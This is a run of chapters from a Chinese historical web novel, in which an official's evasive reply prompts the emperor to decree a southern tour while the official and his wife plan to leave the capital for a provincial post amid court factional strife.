那样的豪情万丈现在想起来,特别像是一个笑话。鬓边的白发已经比黑发更多的皇帝,看着明明不对盘但这一次又一致反对自己南巡的首辅和大学士,眼神里除了冷漠甚至还有几分哂笑的味道。 “理由,给朕一个不能南巡的理由。” “陛下,国不可一日无君。眼下北方刚刚开春,沙尘风暴还没来。南方也还没到梅雨季和汛期,这个时候定下南巡之事,路上免不了碰上意外。君子不立危墙之下,这个道理不用老臣多说。” 首辅鲁大人今年都七十八了,胡须头发已然全白。再过两年做了八十岁大寿,这个首辅的位置也该腾出来了。 鲁大人这些年一直是陛下用得最放心的臣子,为了陛下他做过不少昧良心的事,为了天下他也做过很多让百姓称赞的事。他是能臣,能臣有这样说话的权利。 鲁大人只差没指着皇帝的鼻子说,再过两个月北方南方最难熬事情最多的时候就要来了,您现在带着文武百官出京南巡,这不就是个活靶子。 别说什么沿途有人开道,不管因为什么又为了什么,绝对少不了领着脑袋沿途拦驾的人。到时候为了皇恩浩荡多花些银子都是小事,就怕这其中有人浑水摸鱼,原本小事也成了大事,水彻底就浑了。 “储君也是君,朕带着百官南巡,难道太子不能留下监国。太子 今年三十六,再过两年他都该当祖父了,难道还不能担此重任。” 这话说得,鲁大人一脸无奈看向皇帝。太子能不能担起重任这事不在太子而是在陛下,这事难道皇帝不比自己清楚?这般此地无银三百两,做戏都做得有些太假了。 可即便是这样,严学士也还是不得不把话接过来:“陛下,太子监国本是不错,但陛下南巡是要去南直隶祭祖,这是国事亦是家事,太子是储君也是陛下的长子嫡子,祭祖之事又岂能缺了太子。” 严学士给太子当过老师,是正儿八经的太子党。这两年陛下的身体明显不如以前,太医院院正守在宫中的日子比在自己府里还要多,这说明了什么不言而喻。 太子是嫡长子,十岁那年被立位太子,至今已有二十多年了。历朝历代太子就不是什么好坐的位置,当了二十多年的太子,就更是如履薄冰一步都不敢踏错。 眼下的情况便是这般,皇帝要南巡,真实的意图当臣子们的还暂时没能猜透。 但站在皇上这边的大臣,觉得陛下不该轻易出京,不管是路上遇上什么事情还是陛下自己的身体情况,稍微出个意外说不定就得改天换日。 站在太子这边的大臣,也觉得陛下不能自己带着文武百官走了,把空了的京城留给太子。 太子监国说得好听,但本质就是把太子竖成了一个靶子。陛下成年的皇子可不少,谁的心思又不会想着自己能不能有机会继位呢。 人人都有各自的小心思,但大家伙都一致认为皇上不动比动要好。就这么稳坐高堂安安静静的不好吗,南什么巡,花钱费米还不得安生! 自己的大臣心里到底想的是什么,便是不说皇帝也能猜着个大概。真的生气倒是不至于,要是为了这点事也要生气,他这个当皇帝的恐怕早就被气死了。 可要说心情舒畅,却也谈不上。身为天子连能不能出京都得被臣子们互相辩驳来去,这日子过得确实也没什么意思。 “裴远舟,你说说。”但在没意思的日子里找乐子还是可以的,也不知道皇帝是怎么注意到已经缩在一旁,几乎要融入阴影中的裴元,开口竟然问起他的意见。 “回禀陛下,臣没去过南直隶。”裴元这会儿才明白周既白为何会挨骂,肯定是这个问题皇帝也问他了,而他没能给个满意的答案。 “臣离老家已经有三年多了,若是陛下这次南巡能带上臣,南巡这一路又能路过岳州,臣出宫回府第一件事,就该烫一壶酒好好喝一场。” “要是不路过岳州呢?”皇帝再没想到裴元会这么回答,一时之间还有些好奇。 “要是不路过岳州,天下之事该由陛下做决断,臣不敢也不能妄言。” 要是不路过岳州,那您回不回老家跟我有什么关系,您非要回去谁还能真的拦住?您现在就下旨,我现在就拟旨,这俩首辅和大学士还真就没办法。 裴元没说出口的话,暖阁里的人都听懂,两个老大人神色各异,只有皇帝顿了一瞬便哈哈大笑起来。 “拟旨!着内阁协同礼部,把出京的路线和时间写个奏疏递上来,今年朕要南巡。” 第109章 第109章接某人回家 裴元一句甚至有些驴唇不对马嘴的回话,让陛下打定了主意要南巡。从乾清宫的暖阁出来,鲁大人和严学士的脸色都有些不好看,只有裴元跟在两人身后神情自若。 “你看看你刚才说的都是些什么,陛下问你南巡的态度,你说什么回老家的事。这下好了,南直隶不去也得去了。” 这几年关宁业又能登严学士的门了,裴元也跟着他经常出入严府。比起年迈且积威甚重的鲁阁老,裴元整个身体和站位还是更加靠近严学士一些。 “严老这话说得学生心虚,这事哪里轮得到学生来置喙。学生不过是顾左右而言他,毕竟这个时辰学生要是再被骂出宫去,翰林院还得再找个同僚进宫来。” 裴元才不把这事往自己身上揽,自己一个临时的起居注郎能有多大的本事,还能左右陛下南巡不南巡?快别逗了。 再说岳州跟南直隶那能在一个方向上?南直隶那是什么地方,秦淮河畔六朝古都,哪怕迁都到了京城,南直隶依旧还保留了六部的班子,依旧还是那个红尘万丈引人流连的销金窟。 而岳州,不过是紧挨着岭南的蛮荒南地,走水路从南直隶到岳州最快也得二十多天。圣驾怎么绕怎么走,也不可能从南直隶绕到岳州去。 自己只不过是没有顺着鲁阁老和严学士的某一方站边,而是递了个台阶给陛下,让陛下拍板硬生生把这事给定下来。 可这个时候站边有用吗,有用的话周既白就不能灰头土脸的回去。谁不知道周既白的老师是鲁阁老的学生,人家门生故吏一脉相承被骂走了,难道自己就得继续顶上来,帮着严学士给太子党扳回一城? 且不说这事真这么做了有没有必要,就是自己真的这么说了难道就有用了?除了让陛下把自己轰出去再换一个翰林官进宫,裴元想不出还有什么别的可能。 读书人讲究风骨这本不错,但这事压根就谈不到风骨不风骨上,说白了两位大人除了想要遏制对方之外,还想要陛下向他们妥协。 对此,裴元态度一直都是你们要找死千万别拉上我。本朝重文抑武从开国以来就没变过,但再重文也绝没有让读书人骑到自己头上拉屎的可能。 裴元不明白这些个老大人到底是好日子过得太久被惯坏了,还是真的以为朝廷是读书人说了算,总是要做这些令他觉得匪夷所思的事情。 “裴修撰的意思是,陛下做的决定内阁和翰林都该一昧遵循,这便是你的为臣之道?” “下官不敢。” 鲁阁老是陛下的心腹,除了今天这件事几乎事事都站在陛下这边。今天能一直犟着不松口南巡的事,可见他是真的反对真的不支持,也是真的怕在路上出事。 但事情要出,并不在于陛下是不是出巡。世人皆说陛下年迈多疑,可裴元却觉得这未尝不是一件好事。 年迈之人是没有冲劲了,却也不会轻易冲动。就算路上真的发生鲁阁老说的那些事情了,一个年迈多疑的陛下,其实比一个年轻气盛的帝王更好。 陛下会更耐心的看,看清楚底下臣子和百姓呈到他眼前的到底是什么。而他看见的东西又到底有几分真几分假,亦或是即便全是真的,这个‘真’又到底是不是真的。 鲁阁老要稳妥这是对的,严学士想要保东宫国本也没错。但眼下不管是鲁阁老还是严学士,都还没有弄明白陛下要南巡的真实目的是什么,就一个劲地想往下压。 说白了,这两位老大人就是想要把所有事情都控制在最小的范围里。别管是天下这里旱了那里涝了还是国本太子之争,最好都圈在皇宫里折腾,千万别闹大了。 可有句老话说得好,罐子里养王八越养越抽抽。不趁着陛下现在还能稳住大局,让他出出门,把平日全掩藏在水下的事情往上浮一浮,还想要等到什么时候去? 等到陛下真的老得走不动道的时候?还是等到新帝登基人事全新的时候?不管什么时候,都不如现在的时机好。就该把陛下撒出去,看看这海河清宴底下到底有什么。 裴元什么都没说,但只要看看他的表情,鲁阁老和严学士又什么都明白了。 严学士忍不住哂笑一声:“当初章世铮写信给老夫,安慰老夫说没能把你收入门下不算坏事,还说裴远舟这个人太圆滑世故,往后的前程用不着旁人操心。” 如今前程不前程的还不好说,光是这圆滑世故恐怕章世铮就看走了眼。人家之前圆滑世故,是在小事上懒得计较。如今真到了较劲儿的时 候,裴修撰的胆子比谁都大。 “行了,今晚上内阁值房里用不上你,回去睡觉去吧。” 鲁阁老看着眼前的年轻人,想说什么又觉得什么都没必要再说。陛下已经拟旨决定南巡,那现在最要紧的事情就是看随驾的官员和仪仗该如何安排。 还有禁军和锦衣卫,带走多少留下多少,这都得小心着来。再有便是南直隶那边,那边说是陪都,六部的规制都齐全着。但照比京城还是难免懈怠惫懒,现在陛下要去,总得提前跟那边几个尚书通个气才行。 这些事都是阁老们大学士们该操心的,这么晚了还能回家安心睡一觉,裴元心里乐开了花,冲两个老大人行了个礼,便颠颠儿的走了。 走到宫门口,还没见着自家的马车就先见到了站在皇城外的谢九九。方才还稳如泰山的裴修撰拔腿小跑,蹭蹭蹭跑到自家媳妇跟前:“我不是让曹勇回去跟你说了,今晚我要进宫回不去。” “你现在不是出来了?” 陪着两个孩子吃饭,晚上不知不觉就吃得多了些。听曹勇说裴元晚上不回来,谢九九便转身回房卸了簪环准备歇下。 但或许是心有灵犀,亦或是真的纯粹不想一个人睡。谢九九在把钗环头面都卸下来之后,挑挑拣拣选了一块布巾把头发包上,又披上一件厚披风,便带着丫鬟银屏出了门。 京城外城从十年前就解了宵禁,京城的夜晚通宵达旦夜如白昼,即便内城与皇城周边有禁军看守戒严,也不乏有挑担子的小摊贩等在路边。 毕竟不管是晚归的官吏,还是再过两三个时辰又要入宫上朝的大人们,都已经习惯在入宫前先在这些小摊子上买些吃食垫垫肚子。 谢九九出了府门一路走走看看,甚至到了皇城外觉得走得差不多消食了,又买了一碗豆腐脑,站在路边背风的地儿吃了个干净。这不刚吃完没多会儿,就把裴修撰给等到了。 “要是我今天得在宫里值一整夜,你难道还一直等着。” “想得美,我就是顺道过来一趟。再站半柱香见不到你的人,我就走了。” 当年开的那家云客来,谢九九到底坚持没让裴元把状元楼三个字再添上去。 但云客来背后的东家是三元及第的状元公家的娘子,这件事还是越传越广。到最后连谢文济都写信来说,去饭庄里吃饭的客人中还有人问他,容县这个云客来跟京城那个云客来,是不是一家的。 之后又添了一家状元楼,状元楼的位置和格局都要比云客来更大更好,云客来是正儿八经的饭馆,状元楼则还兼顾了酒肆和茶楼生意。 因为有裴元这个三元及第的状元郎做活招牌,去状元楼的文人墨客更多。晚上不宵禁,这些人的酒局甚至能到半夜才散。 如今春儿住在府里的时候不多,大多数时候都在状元楼守着。谢九九平日忙着府里的事,白天能过去的时候不多。今晚要是等不到裴元从宫里出来,谢九九就打算往状元楼去走一趟。 “这个时辰去状元楼,谢老板这是想喝酒了?” “是有点儿。” 谢九九也不瞒着裴元,商人总是最敏感的,当年在容县谢九九敏感的只有生意方面,现在到了京城,天子脚下哪怕就是倒夜香的老翁都能说几句朝廷大事,谢九九又怎么会迟钝到一点都感觉不到。 “继业那个书读得好不好我说了不算,可明年就下场考试,会不会太着急了些。” “还有你进宫值夜的次数,去年一个月能轮两三天都算多的了。今年上个月你有五天没回家,这个月还有八天才到月底,算上今天你已经被召进宫五天了。” “更不要说状元楼那些挥斥方遒的读书人,什么酒都能喝什么话都敢说,唯一的好处便是我这状元楼的生意,着实是一天好过一天。” 谢九九看得清楚,如今的天下内有陛下年迈太子势大,还有好几个成年的皇子虎视眈眈。皇上就这么维持着一切都好说,要是哪天皇上病了,局势恐怕一天也稳不住。 外有天灾,这几年看着天下太平,那是因为自家到什么时候都没缺过银子,这才觉得太平。其实这几年旱灾水灾都比之前要多,就连容县那样的地方,去年都旱得粮食只收了往年的六成,就这都已经算是好的了。 眼下粮仓里还有余粮,一年两年的显不出为难来。可往后要是年年都这么着,迟早是要出大事的。 “你看,这个道理咱们谢老板明白,偏偏那些庙堂之上的阁老们不明白,你说好笑不好笑。” 裴元当然没有舍生成仁的想法,他有妻子有儿女,他且还没活够。可他也做不到蒙着自己的眼睛耳朵装作什么都不知道,直到有一天刀落到头顶上来,才知道怕。 “这次南巡陛下说不定会带上我,要是能去咱们就一起去吧。往外走走看看,等再回来翰林院三年就该待满了,这京城还留不留得住且还两说。” “行,那我慢慢收拾着,去任上就去任上,挺好的。” 谢九九没问他宫里发生了什么,也没问他不想留在翰林院想要外放,这一去还能不能再回京,更加没问要是去任上,那这一家子是要去哪里。 而是转过头跟裴元说了自己答应阿满让她去城外别院玩几天的事,一听他们娘仨儿要出城住几天,明天还得去翰林院准时点卯的裴大人吧嗒一下脸就垮了下来。 “这一去又得待上几天才回来?” “三五天?顶多五天吧。陛下要南巡,关家舅舅们肯定也得忙,哪能让继业在城外一直疯玩儿。” “五天啊~” 谢九九觉得五天一眨眼就过了,裴大人则觉得五天也太久了些。两人一路上就这么讨价还价着,再没人提起旁的烦心事。 第110章 第110章先保得住自己 “姐姐,娘回来了吗?” “回来了,还把爹给带回来了。” 阿福从会说话起,就不愿意自己独自跟着奶娘睡。 怀阿福到阿福一岁前这段时间是谢九九最忙的时间,新的状元府从无到有,新的云客来从难以为继到勉强维持再到现在赚得盆满钵满,成为能跟山东菜馆比肩的大饭庄,谢九九是几乎把自己这条命都给豁进去了的。 直到京城的云客来生意稳定下来,谢九九在开京城第二家饭馆的时候,主动舍弃了云客来而选择了状元楼。 哄得裴状元连着三天,天天夜里缠着谢老板不放,夜里缠得太狠早上就怎么都起不来身。幸好家中还有个一直没成亲,已然能独当一面的春儿帮自己盯着两边铺子,才没出什么岔子。 也正因为有了这个机遇,难得停下来在府里歇了几日的谢九九,才发现六岁的阿满把三字经千字文都学完,正准备开始学论语。 会的字也不少,虽笔画还有些僵涩但已然能工工整整的写满整幅字帖。 从小就臭美的小丫头还有了自己的首饰匣子,匣子里都是长辈和春儿给她添置的耳坠簪环,反倒是谢九九这个亲娘只给了一只蓝宝的戒指,被小丫头收在匣子最底下,一看就是宝贝得很。 也是自那以后,外面的事情再忙谢九九也还是会把心分一半在府里,认真仔细的地打理状元府上上下下的一切,其中也包括了两个孩子和裴修撰。 这些事和改变,对于家中年纪最小的谢阿福来说是一无所知的。但孩子也有孩子的敏锐,哪怕他还是个说话都还有些说不清的奶娃娃。 过完周岁生辰的谢阿福就再也不肯让奶娘带着睡,那天夜里状元府的小少爷不知道为什么哭了个惊天动地,吓得谢九九和裴元赶紧把大夫请了来。 大夫来得很快,是京城出了名给小孩儿看病的大夫。老爷子过来诊脉诊了半晌,只憋出一剂安神汤的方子来,只差没明说小孩儿什么毛病都没有。 没病挺好的,夜里出诊不容易,谢九九 给了双倍的诊金,叫家里人套了马车来把人送回去,让阿福的奶娘把阿福夜里习惯盖的小被子拿到自己房里来,夫妻两个一起哄着儿子把安神汤给喝了,这才安稳睡下。 在爹娘中间挤了一晚上,第二天一早裴元起身准备出门去翰林院,这小子也跟着早早地起来,早上的羊奶都没喝,就穿上自己小虎头鞋摇摇晃晃去东厢房那边找他最爱最爱的姐姐去了。 小孩儿忘性大,昨天晚上折腾一溜够,第二天谢九九还有些头昏脑涨的,他就已经全忘了。安神汤里加了山楂,酸酸微甜不难喝,人家觉得这是好喝的甜水儿,自己喝了大半碗还非要留一小半给阿满这个姐姐。 见儿子这样,谢九九觉得应该没事了,第二天晚上该怎么睡就怎么睡,连晚上那一碗安神汤都没喝。谁知睡前还好好的小猪崽子,睡下没多会儿又哭闹起来。 这一次哭得比前一天晚上还要狠,谢九九脾气不好,觉得这小子是不是故意折腾人。想把儿子拉过来打一顿屁股,好在被裴元一把把儿子抱过去给拦下来了。 那天晚上是裴元领着阿福在卧房对面次间的罗汉床上凑合了一晚,第二天一早便派关杰回了一趟关府,下午关令仪就带了个专门给高门大户做法事的阴阳先生过来。 读书人多讲究子不语,怪力乱神,可老话也说敬鬼神而远之,神神鬼鬼这一道,谢九九的态度一直都是:应该有,但自己没见着过。 要是真的有,那自己亲爹这些年怎么从来没回来看过自己。连托梦的时候都少,自己每年清明、中元、寒衣、冬至和忌日都要给亲爹烧纸钱,从没落下过却也不知道亲爹在那一头到底收到过没有。 而裴元更是鲜少提及,这些年除了走哪儿带哪儿的裴雨伯夫妻的牌位,其余时候他连祭祀的事都碰得少,便是要做也是帮着谢九九弄。 为了阿福主动把阴阳先生请到家里来,谢九九都被他唬了一跳。她压根没想到自家裴大人想到这上头去了,而裴元则只说宁可信其有不可信其无,要不然孩子不发热不咳嗽,不该突然这么闹腾。 人都请回来了,自然是由着阴阳先生好一通做法办事。才满周岁的孩子,人家老先生也没给烧什么符水,只给了一张叠好的符纸,让压在阿福枕头底下。 符纸给了,夫妻两人又带着孩子睡了两天。两天都安安稳稳一觉到天亮,醒来之后能吃能喝什么事都没有,弄得过来暂住几天的关令仪一个劲的说那先生灵验得很,过后还要在再些银子过去。 这么一弄,一家子都觉得这事就该过去了。谁知当天晚上被奶娘抱回自己房里的阿福又哼哼唧唧闹起来。 这一次谢九九比裴元更快反应过来,抱起泪眼婆娑坐在床上不肯睡觉的儿子往回走,一边走一边问小胖子:“是不是不喜欢跟奶娘一起睡,是不是就想睡在爹娘中间。” 虚岁才两岁的小孩儿半懂不懂,只一边点头一边本能的箍着他娘的肩膀不松手。之后阿福就被留在正屋右边次间里住下了。 如今满了两岁的阿福平时不用奶娘陪着,爹娘在家的时候他就乖乖睡在右次间里,爹娘要是不在家他就抱着自己的枕头,往姐姐阿满的屋里去,总之他不要外人,就只认爹娘和姐姐。 今天也是一样,谢九九一出门阿福就赖唧唧的凑到阿满房中去,这会儿听阿满说娘把爹给带回来,立马高高兴兴地从床上爬下来,又抱着枕头回了正屋那边睡觉。 两个崽子的这些小动作,谢九九和裴元一般不过问,只要他们姐弟俩高兴,睡哪儿都行。裴元在意的还是明天谢九九是只把俩小破孩儿送出城,还是她带着孩子们出城住几天,把自己扔在府里不管。 裴修撰和谢老板的较量,这些年从来没停下过。大到第二间饭馆到底是云客来还是状元楼,小到晚上床帏间的趣儿能不能换个新姿势,那都能拉扯好些来回。 只可惜裴修撰人前风光,人后却是实打实的斗不过谢老板。第二天一早,裴大人前脚满脸不高兴地出了门,谢老板后脚便带着一双儿女出城踏青玩儿去了。 表嫂带着阿满和阿福出城,关继业确定自家那把表嫂看得比眼珠子还重的表哥没跟来,当即便拉着阿满打赌。 关继业说自家表哥顶多一个人在府里呆三天,三天之后必定追过来。阿满则说用不着爹爹追来,阿娘顶多在别院住两天,用不了两天阿娘就得扔下自己和阿福,回府陪爹爹去。 可惜阿满和关继业的赌局,最后以两人谁也没赢做了结局。 因为还没等谢九九带着两个孩子在别院待上三天,第二天晚上裴大人就颠颠地追了来,虽然是以严学士让他给关如琅带话为由,但就连看门的门子都知道,裴大人这是来找他家大娘子的。 为了让自己这次请了两天假又屁颠颠的追出城显得稍微理直气壮一点,裴元到了别院之后没往谢九九和孩子们住的那个小院去,而是直接去了关如琅的书房。 “一封信罢了,要是交给关杰不放心,还可以让曹勇走一趟,干嘛非要自己过来。” 关如琅的书房里还是一贯的简洁干净,就连书桌上一小点墨点子也被他用手帕仔仔细细给擦了个干净。他坐在书桌后面抬头看裴元:“若是今晚陛下又要召你入宫,就怕耽误事?” “今天留在翰林院值夜的是沈霁,入宫当值的是徐裂云。” 裴元把严学士交代的话和出城前关宁业派人送来的一封信一起交代给关如琅,才找了一张看上去最舒服的椅子坐下。 徐裂云是比自己在御前更红的大红人,徐家满门忠烈,徐裂云又弃武从文,这样的勋贵在陛下眼里就是知情识趣的旗帜,有他在宫里顶着,不会出什么意外。 就算真的徐裂云也被陛下给骂出来了,也还有沈霁兜底。沈霁作为庶吉士本来很少进宫,但一次意外,翰林院那天就是缺个人进宫,就只能临时抓了沈霁顶上去。 沈霁的学问肯定不如徐裂云和裴元,但他有他的好处。 陛下喜欢他的温和安静,那种安静和裴元他们刻意保持的低调不一样,那是骨子里的一股气儿,说不分明但能让人很舒服。陛下喜欢这种舒服,沈霁这个庶吉士便也成了进宫轮值的翰林官之一。 陛下决定了要南巡,如今东宫要做的不是让太子跟着一起往南直隶去,而是需要想法子让陛下把其他皇子带上。一个空了的京城,比留下几个年长皇子给太子添堵下蛆要强得多。 关如琅还在詹事府任职,严学士让裴元带的话,就是让赶紧想办法,怎么能让陛下主动把太子之外的几个皇子全带上一起出京南巡。 而站关宁业让裴元带来的信里写的则是,让他叔叔和亲爹这次不要掺和这件事,南巡谁能去谁该留陛下心里自有定夺,说多错多,要千万小心。 关如琅是铁杆的太子党,要是为了太子和东宫,他该听严学士的积极想办法。 但关宁业去年已经成了北镇抚司的镇抚使,没了前面那个副压着,他如今才是实打实的天子近臣。侄儿送来的信明摆着就是要关如琅明哲保身,这多少让他有些为难。 “话和信你都带来了,这事你怎么看。” “舅舅,有些事我们怎么看怎么想都不重要,重要的是陛下心里是怎么想的。” 裴元皱眉,这几年他一直在尽量维持自己不要搅和到这一滩浑水中去,有时候旁观者清,关家已经彻底陷在这个旋涡中拔不出来了,往后要么从龙之功一飞冲天,要么还得如同当年那般,摔个一败涂地。 这话用不着裴元说,关如璋关如琅兄弟二人心中也大概清楚。但现在,明摆着陛下是扔了鱼饵出来,蹦跶得越欢日后倒霉得越狠。 “舅舅,表哥在御前如履薄冰,不比太子在东宫容易。咱们眼下,总得先保得住自身才是。”【你现在阅读的是 】 110-118 第111章 第 111章你一个人去?我一个人…… 一个人或是一个家族,总是难免在吃过亏的地方再一次绊倒。就好比关家,骨子里忠君和事君已经成了本能。 唯一的区别可能只在于当年老爷子能为了陛下把全家都豁出去,如今关如璋和关如琅两兄弟虽然一个在工部主事,一个在詹事府侍奉储君,看似没再把鸡蛋放在一个篮子里,但落在裴元眼中其实压根没区别。 关家没有坏人,但除了一直在任上没回京的关平业,和被迫从正道‘走偏了’入了锦衣卫的关宁业,都已经习惯了被养在罐子里,哪怕心中有大才,整天琢磨的也只是如何侍奉君主,怎么扶持东宫顺利继位登基。 这样的人好不好,裴元说不上来。他明白朝廷不能没有他们维持,但在翰林院的时间越长,裴元就越发肯定自己并不想做这样的肱股之臣。 所以没有再等关如琅跟自己掰扯东宫的事,裴元便找了个借口躲出来,有些事旁人说再多也没有用,关宁业这封信也不过白费工夫,自己又何必再多费口舌。 从关如琅的书房出来,裴元又往关令仪的院子里绕了一趟。自从那年裴元亲自把关令仪送上回京城的船,母子两个单独相处的时候就少之又少。 一来当初裴元把母亲送上船的时候就已经在心里打定了主意,他希望关令仪后半生都能彻底摆脱了裴家,就舒舒服服地做关家的女儿。二来自己有了妻儿,有什么事总是谢九九和关令仪先商量,自己这个做儿子的倒是往后退了一步。 “我还说你这次怎么这么大方,继业一下帖子,九九就带着两个孩子来了。感情咱们裴大人早打定了主意,就想着跟过来是不是?” 去年冬天庞氏大病了一场,虽撑过来了,但几个上门来诊脉的太医都说,老太太的寿数怕是要到头了。 这次出城踏春避尘,一是为了让关继业换换心情,二是为了不直面朝廷上的纷争,便是要插手,也需得像现在这样托人从中带话。这一来一回不光是浪费了时间,也给了各自一点儿考虑琢磨的时间。 还是那句话,事缓则圆。今日关如琅若在家,这会儿他和严学士肯定已经坐在东宫太子跟前,一同商量怎么才能让陛下把其他皇子都带出京城。而眼下,关如琅还在犹豫该怎么回严学士的口信。 从龙之功,多的是人想要。关家底子厚,想忠君之事又想保存自身还想在往后几十年,继续保住全家满门的荣华富贵,这会儿自然犹豫两难。 但朝廷中还多的是光着脚没穿鞋的,关如琅这会儿慢一步,说不定就有人见缝插针往里插一脚。有人插上这一觉,关家就能少往下陷一点,眼下这种时局谈不上 关如琅在詹事府很重要,但再重要也不能让太子手里无人可用。谁也说不好耽误这来回传递消息的两天,京城的局势又会如何。 这是关如琅和关如璋兄弟两个故意给自己设下的障碍,多了这么一道沟,或许能让人的脑子更清醒一些。 因此,在老太太把关如琅叫去颐寿堂骂过一顿之后,隔天跟着出城的人里就多了个老太太。 理由是现成的,庞氏的身体比杨家老太太还要差,京城春日多沙尘,老太太去别院避沙踏青,两个当儿子的跟过去侍奉,比之前找的那些借口更加理直气壮。 “娘,外头那些人不明白拿这个事说着玩儿也就罢了,怎么您也跟着瞎起哄。儿子这几年在翰林院待得憋屈,这事除了九九便数您最清楚。” “清楚,怎么不清楚。我的儿子心怀大志,读了这么多年的书除了出人头地,还想替老百姓做些实事,对不对。” 这样的话裴元从未说过,但谢九九和关令仪都知道。裴元这人知世故也能世故,但他打心眼里并不愿意把这一辈子都陷在这潭泥泞沼泽里,耗光了心气儿。 “以前说什么都想进翰林院,是因为没见过,就想看看当天子近臣到底是什么滋味。真的见过了又觉得真没意思,那些阁老大人们脚底下踩的是云。” 而裴元是一步一步从泥潭中爬起来的人,即便他早已经逼迫自己把满身的泥腥都洗干净了,但不是一路人这辈子便不是一路人。 “娘,儿子过些日子……”裴元难得在关令仪跟前低头,“过些日子说不定要出京,去哪里也不一定。娘,到时候您跟我和九九一起走吧。” “傻话,老太太还在这里,娘怎么能走。”自己儿子的心思关令仪又怎么会看不出来,或者说儿子和儿媳从刚到京城的快活和自在,到如今的身不由己和心不在焉,关令仪都深深看在眼里。 “老太太的身子骨,怕是就在今年了。便是老太太走了,我这个当女儿的也该留下来替她老人家守孝三年。等孝期满了,才好说以后的事。” 关令仪一向把儿子摆在最要紧的位置上,哪怕这几年一直陪在庞氏身边也从未变过。颐寿堂住着舒坦,却绝没有自己带着三五个仆人住在外面舒坦,都不说跟着儿子一起住状元府,便是独自住在城西那个宅子里,小日子也悠然得很。 但关令仪不能这么做,她得留下来。不管是之前裴元和谢九九来京城,还是日后裴元带着谢九九和阿满阿福去任上,有她在关家,儿子的路才更加有底气。 “以后以后,总说以后,以前在岳州的时候就跟我说以后会好,后来您来京城我留在容县,也说等以后我来京城就好了。如今我来了京城又想要走了,怎么还说以后。” 裴元很少显露这般稚气又任性的一面,尤其是在关令仪面前。看着儿子这幅模样,关令仪想笑却又红了眼眶,因为她心里清楚,能让儿子露出这份情态只有一个原因:他打定主意要想法子离开京城了。 “行了,别跟我这儿白耗着了,真想要走的体面这段时间就不能大意,要是离京去的地方太差,那不管你心里头怎么想,我也是不许的。” “那您放一万个心,地方太差了九九头一个不答应。”谢九九能吃苦,但是不能让她老吃苦,过日子嘛总得有个盼头才行,“再说还有两个孩子,您放心,这是我心里有数。” “有数就行,有数就赶紧的走吧。”关令仪没再多问,翰林院请假顶多一天,今儿来了明早天不亮就得回京,不能耽误了明天的差事。 门房上的小子老早就往谢九九跟前来回禀,说是裴元来了。可他先去了关如琅那儿后又去了关令仪那儿,等见到谢九九的时候,谢九九都已经扔下后院戏楼那边好些个太太奶奶,回来好一阵了。 “怎么这么快就跟来了,外任的事有说法了?” “没有,哪有那么快。在吏部挂了号等着补缺的人多了去了,哪那么容易。” 翰林院清贵又是天子近臣,可穷也是真的穷得很彻底,即便把一年到头的各种补贴孝敬都加上,在京城里要全靠这点俸禄养一家子人,真是不容易。 所以翰林院里除了家本就是京城的,和一小部分像裴元沈霁这样身后有靠的,大部分编修、检讨和庶吉士都是在京城租房子住。 翰林院在这方面有补贴,就在翰林院后面有专门两条胡同,住的都是这些翰林院七八品和还没有品级的庶吉士。 他们中间大部分人都是独自在京城围观,爹娘妻儿则都被留在老家。身边或是跟着一两个仆从,好一点的还能有个通房或者姨娘,近身伺候饮食起居。 这样的日子一年两年很容易就过了,但时间长了总不是个办法。人人都说翰林院是专门出‘储相’的地方,但阁老和大学士出得再多,那也是少数中的少数。 至少裴元见过更多的人,都是一年又一年在翰林院磨光了锐气锋芒,成了年轻人口中的老翰林,谈不上有什么前途也不可能在主动出京外放。每日都把自己埋在翰林院那些故纸堆中,不知是否有一天就会和那些典籍书册彻底交融。 所以还有一批不想这么稀里糊涂就过了一辈子的翰林官,都会在三年散馆前夕,□□寻求机会。 出了京城是难回来,但在任上不光能干活,荷包多少也能更富裕些。如此一来,那些地方稍微富裕一点的缺,都不知道有多少人盯着,自己想去?做梦去吧。 “这事得慢慢来急不得,陛下这次出巡还说不好到底想要干什么。” 裴元拉着谢九九坐在自己腿上,两人的影子被窗外的阳光映衬着几乎交融在一起,守在外面廊下的丫鬟透过窗棂一看这架势,马上就起身往外走,还顺道带走了在院子里扫地的婆子。 “我是想这次南巡不能躲太远,最好能跟着圣驾一起出去。圣上在前面办事,我们这种不起眼的跟在后面捡漏,说不定就能捞 着个好去处。” 南巡是要花钱的,而且是要花大钱。陛下出巡稍微露出一丝意思,对于底下的官员来说就是山摇地动。裴元等的就是这个机会,等陛下收拾出一批人来腾出一批位置了,自己再去补这个坑。 “那你一个人去?我和孩子是不是不能跟着?” “怕是不能,翰林院有哪些人能伴驾还不好说,到时候沿途吃不好睡不好的,哪里还能带家眷。” “行吧,那今儿让阿满和阿福住在母亲院子里,别耽误事了。” 第112章 第112章随时准备跑路 坐在裴大人腿上没多会儿,本来就不怎么正经的两人便彻底正经不起来了。 京城的春天干得人心烦,谢九九很多时候都会怀念老家的梅雨季。 有一次甚至从柜子里拿出衣裳来的时候,认真回头跟裴元说了一句:我想家里一到春天就晒不干衣裳霉霉的味道了。当时裴元还笑她,说她不是在家抱怨衣裙晒不干生气的时候了。 此刻两人汗津津的交叠在一处,感受着窗外黄橙橙的夕阳和随着风一起吹进屋子里来干涩和青草味道,裴元才忍不住把脑袋抵在妻子耳后。 “真不喜欢这股子土腥味儿。” “别着急,不喜欢就离开。耐心些找个好一点的地方,到时候我还能把云客来开过去,不怕什么的。” 今天裴元确实不该来,这个时候哪能一家子全往城外躲。只不过他的心也早就乱了,要是不让他来看一看谢九九,他这颗心就安稳不下来。 “工部礼部和锦衣卫都忙起来了,几十年没回南直隶,现在说要南巡什么东西都得现准备。” 户部尚书已经躲了两天找不着人,眼下人人见了他就是哭穷要银子,要出远门人吃马嚼什么不得花钱,银子从哪儿来? 刚开春,各地都是要用钱的时候,播种赈灾、边关粮饷都是这个时候发下去,现在平白无故要南巡,这一笔银子还说不好要从哪里挤出来。 有花钱的地方就有人能赚钱,裴元看着哪些或为银子或为权势躁动起来的朝堂,只觉得一股说不清道不明的漩涡已经在不声不响中卷动起来。自己是肉体凡胎,只想躲得远远的求一份平安。 “那真可惜了,去年我和老潘商量想要再弄个货栈,之后一忙这事也没个下文了。你说当时要是真弄起来了,这会儿我也能跟着赚上一笔啊。” 事后,裴元总喜欢毫无形象可言地趴在谢九九平坦但柔软地腹上,长发散乱也不管不顾,脸颊紧紧贴着妻子的肚腹,感受她一呼一吸之间的起伏。仿佛只有这样,他才觉得安心。 这会儿谢九九一边感慨自己少赚了银子,一边抬手在裴元脑袋和后脖颈子上呼噜毛,把因为心神不宁而几乎炸毛的裴状元郎一点点安抚下来。 